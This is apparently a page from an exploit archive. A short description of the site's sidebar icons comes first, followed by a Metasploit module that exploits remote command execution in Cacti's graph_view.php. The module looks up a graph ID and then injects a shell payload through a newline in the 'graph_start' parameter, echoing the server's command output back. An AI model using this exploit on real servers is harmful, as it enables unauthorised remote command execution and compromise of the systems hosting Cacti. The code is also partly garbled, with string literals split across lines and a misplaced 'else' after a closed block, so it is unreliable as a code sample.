



The sidebar is a vertical orange bar on the left side of the page. It contains several white icons arranged vertically: a spider (top), a bug, a magnifying glass, a document, a server rack, a magnifying glass with a plus sign, a book, a house, and a graduation cap (bottom).

The main content area is a white rectangular window with rounded corners. It features a green checkmark in the upper right quadrant. Below it, there are two horizontal blue lines. In the center, there is a download icon (a downward arrow) followed by a small blue dash and a red curly brace icon. At the bottom of the window, there are two circular orange buttons with white arrows pointing left and right.

```

##
# $Id: cacti_graphimage_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Cacti graph_view.php Remote Command
Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution
vulnerability in the
        Raxnet Cacti 'graph_view.php' script. All versions of
Raxnet Cacti prior to
        0.8.6-d are vulnerable.
      },
      'Author' => [ 'David Maciejak
<david.maciejak[at]kyxar.fr>', 'hdm' ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision: 9671 $',
      'References' =>
        [
          [ 'OSVDB', '17539' ],
          [ 'BID', '14042' ],
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'DisableNops' => true,
          'Space' => 512,
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash
telnet',
            }
        },
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Targets' => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 15 2005',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to
graph_view.php", "/cacti/graph_view.php"]),
      ], self.class)
  end

  def exploit
    # Obtain a valid image ID
    res = send_request_cgi({

```

```
'uri'      => datastore['URI'],
'vars_get' =>
  {
    'action' => 'list'
  }
}, 10)

if (not res)
  print_error("The server gave no response")
  return
end

m = res.body.match(/local_graph_id=(.*?)&/)
if (not m)
  print_error("Could not locate a valid image ID")
  return
end

# Trigger the command execution bug
res = send_request_cgi({
  'uri'      => datastore['URI'],
  'vars_get' =>
    {
      'local_graph_id' => m[1],
      'graph_start'    => "\necho YYY;#{payload.encoded};echo
YYY;echo\n"
    }
}, 25)

if (res)
  print_status("The server returned: #{res.code} #{res.message}")
  print("")

  m = res.body.match(/YYY(.*)YYY/)

  if (m)
    print_status("Command output from the server:")
    print(m[1])
  else
    print_status("This server may not be vulnerable")
  end
end

else
  print_status("No response from the server")
end
end

end
```

